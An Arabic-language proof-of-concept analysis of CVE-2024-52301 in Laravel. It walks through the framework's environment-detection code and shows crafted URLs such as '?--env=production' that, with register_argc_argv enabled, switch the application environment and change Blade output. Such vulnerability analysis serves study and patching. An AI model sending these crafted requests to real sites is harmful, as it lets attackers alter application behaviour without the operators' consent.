
استغلال إثبات المفهوم لـ CVE-2024-52301 يوضح التلاعب بالبيئة في Laravel عبر معلمات URL المحقونة، مع تحليل تفصيلي للكود وخطوات إعادة الإنتاج.
تعتمد هذه الثغرة على الثغرة CVE-2024-50340
يجب تمكين خيار register_argc_argv في ملف إعدادات PHP (php.ini). يقوم هذا الإعداد بتحميل وسائط سطر الأوامر ومعاملات الاستعلام إلى $_SERVER['argv'].
https://www.php.net/manual/en/ini.core.php#ini.register-argc-argv
//Illuminate\Foundation\Application
public function detectEnvironment (Closure $callback)
{
$args = $_SERVER['argv'] ?? null;
return $this['env'] = (new EnvironmentDetector)->detect($callback, $args);
}
الغرض: تكتشف هذه الدالة البيئة عن طريق الوصول إلى $_SERVER['argv']، الذي يحتوي على وسائط سطر الأوامر، ثم تفوض إلى فئة EnvironmentDetector.
مصدر الثغرة: بالاعتماد على $_SERVER['argv']، يمكن لأي معاملات URL محقونة (مثل ?--env=dev) أن تتلاعب بـ $_SERVER['argv'] ليحتوي على ["--env=dev"]. يتم تمرير هذه المصفوفة مباشرة إلى detect، مما قد يسمح للمهاجم بالتحكم في البيئة.
//Illuminate\Foundation\EnvironmentDetector
public function detect(Closure $callback, $consoleArgs = null)
{
if ($consoleArgs) {
return $this->detectConsoleEnvironment($callback, $consoleArgs);
}
return $this->detectWebEnvironment($callback);
}
الغرض: تحدد دالة detect ما إذا كانت $consoleArgs (مصفوفة argv) مقدمة. إذا كانت موجودة، فإنها تستدعي detectConsoleEnvironment للتعامل مع اكتشاف البيئة القائم على سطر الأوامر؛ وإلا فإنها تستدعي detectWebEnvironment لطلبات HTTP.
مسار الثغرة: إذا تضمن $_SERVER['argv'] قيمًا محقونة مثل --env=dev، فإنه يؤدي إلى detectConsoleEnvironment، التي تعالج الوسائط ويمكنها تبديل التطبيق إلى بيئة مختلفة.
//Illuminate\Foundation\EnvironmentDetector
protected function detectConsoleEnvironment(Closure $callback, array $args)
{
// First we will check if an environment argument was passed via console arguments
// and if it was that automatically overrides as the environment. Otherwise, we
// will check the environment as a "web" request like a typical HTTP request.
if (! is_null($value = $this->getEnvironmentArgument($args))) {
return $value;
}
return $this->detectWebEnvironment($callback);
}
الغرض: تتحقق هذه الدالة مما إذا كانت وسيطة --env موجودة بين وسائط سطر الأوامر.
الآلية: تستدعي getEnvironmentArgument لمعرفة ما إذا كانت أي من وسائط argv تحدد بيئة. إذا تم توفير --env، فإن هذه الدالة تُرجع قيمة البيئة المحددة، متجاوزةً استدعاء detectWebEnvironment.
//Illuminate\Foundation\EnvironmentDetector
protected function getEnvironmentArgument(array $args)
{
foreach ($args as $i => $value) {
if ($value === '--env') {
return $args[$i + 1] ?? null;
}
if (str_starts_with($value, '--env=')) {
return head(array_slice(explode('=', $value), 1));
}
}
}
الغرض: تحلل هذه الدالة argv للعثور على وسيطة --env. الآلية:
إذا تم العثور على --env كعلامة مستقلة، فإنها تُرجع الوسيطة التالية كقيمة للبيئة.
إذا تم استخدام صيغة --env= (مثل --env=dev)، فإنها تستخرج البيئة وتُرجعها (dev في هذه الحالة).
إعداد البيئة:
يحتوي ملف .env على APP_ENV=development، لذلك يكون التطبيق مُعدًا افتراضيًا على بيئة التطوير.
@production
<p>Production environment</p>
@endproduction
@env ('local')
<p>Local environment</p>
@endenv
الوصول الافتراضي (http://localhost):
بما أن APP_ENV مضبوط على development ولم يتم حقن أي وسيطة --env، فإن توجيهي @production و @env('local') لا يطابقان أيًا منهما.
النتيجة: يكون الناتج فارغًا.
وسيطة محقونة للإنتاج (http://localhost?--env=production):
مع وجود ?--env=production في عنوان URL، يتم التلاعب بـ $_SERVER['argv'] ليحتوي على ["--env=production"].
يؤدي هذا إلى تشغيل آلية اكتشاف البيئة في Laravel، مما يضبط البيئة على الإنتاج.
النتيجة: يُخرج توجيه @production <p>Production environment</p>.
وسيطة محقونة للمحلي (http://localhost?--env=local):
مع وجود ?--env=local، يتضمن $_SERVER['argv'] القيمة ["--env=local"]، مما يغير البيئة إلى المحلية.
النتيجة: يُخرج توجيه @env('local') <p>Local environment</p>
لا تسمح هذه الثغرة بتغيير البيئة داخل دالة config. بدلاً من ذلك، فهي تؤثر فقط على إعداد البيئة داخل فئة Application.
وبالتالي، على الرغم من أن توجيهات Blade والأجزاء الأخرى من الكود تعتمد على فئة Application لاكتشاف البيئة، فإن الكود الذي يستخدم دالة config لا يتأثر بهذه الثغرة.